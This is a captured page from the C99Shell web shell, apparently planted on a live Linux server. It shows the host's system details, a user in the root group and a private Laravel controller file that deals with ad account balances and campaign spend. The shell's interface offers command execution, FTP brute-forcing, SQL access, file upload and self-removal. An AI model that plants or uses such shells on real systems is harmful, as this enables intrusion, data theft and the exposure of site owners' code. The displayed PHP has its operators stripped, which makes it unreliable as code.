!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/adflow-backend.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 25.16 GB of 117.98 GB (21.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AccountController.php (2.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
App\Models\HilltopAccount;
use 
App\Models\Campaign;
use 
App\Models\CampaignPerformance;
use 
Carbon\Carbon;

class 
AccountController extends Controller
{
    public function 
getAccountInfo()
    {
        
$user Auth::user();
        
$account HilltopAccount::where('assigned_user_id'$user->id)->first();

        if (!
$account) {
            return 
response()->json([
                
'alias' => 'Not Assigned',
                
'status' => 'Pending',
                
'created_at' => '-',
                
'assigned_on' => '-',
                
'last_sync' => '-',
                
'balance' => '$0.00',
                
'active_campaigns' => 0,
                
'lifetime_spend' => '$0.00'
            
]);
        }

        
// Active Campaigns
        
$activeCampaigns Campaign::where('user_id'$user->id)
            ->
where('status''active')
            ->
count();

        
// Lifetime Spend
        
$lifetimeSpend CampaignPerformance::whereHas('campaign', function ($query) use ($user) {
            
$query->where('user_id'$user->id);
        })->
sum('spend');

        return 
response()->json([
            
'alias' => $account->alias,
            
'status' => 'Active'// If assigned, it's active for the user
            
'created_at' => $account->created_at->format('M d, Y'),
            
'assigned_on' => $account->updated_at->format('M d, Y H:i'), // Using updated_at as proxy for assignment time if not tracked separately
            
'last_sync' => $account->last_synced_at Carbon::parse($account->last_synced_at)->diffForHumans() : 'Never',
            
// 'balance' => '$' . number_format($account->balance, 2), // Hiding Hilltop Balance as requested
            
'balance' => '$' number_format($user->wallet $user->wallet->balance 02), // Showing User Wallet Balance instead
            
'active_campaigns' => $activeCampaigns,
            
'lifetime_spend' => '$' number_format($lifetimeSpend2)
        ]);
    }

    public function 
getAccountStatistics()
    {
        
$user Auth::user();
        
        
// Active Campaigns
        
$activeCampaigns Campaign::where('user_id'$user->id)
            ->
where('status''active')
            ->
count();

        
// Lifetime Spend
        
$lifetimeSpend CampaignPerformance::whereHas('campaign', function ($query) use ($user) {
            
$query->where('user_id'$user->id);
        })->
sum('spend');

        return 
response()->json([
            
'available_balance' => '$' number_format($user->wallet $user->wallet->balance 02),
            
'active_campaigns' => $activeCampaigns,
            
'lifetime_spend' => '$' number_format($lifetimeSpend2),
            
'monthly_account_fee' => 'Included',
            
'next_invoice' => Carbon::now()->addMonth()->startOfMonth()->format('M d, Y'// Mock next invoice date
        
]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--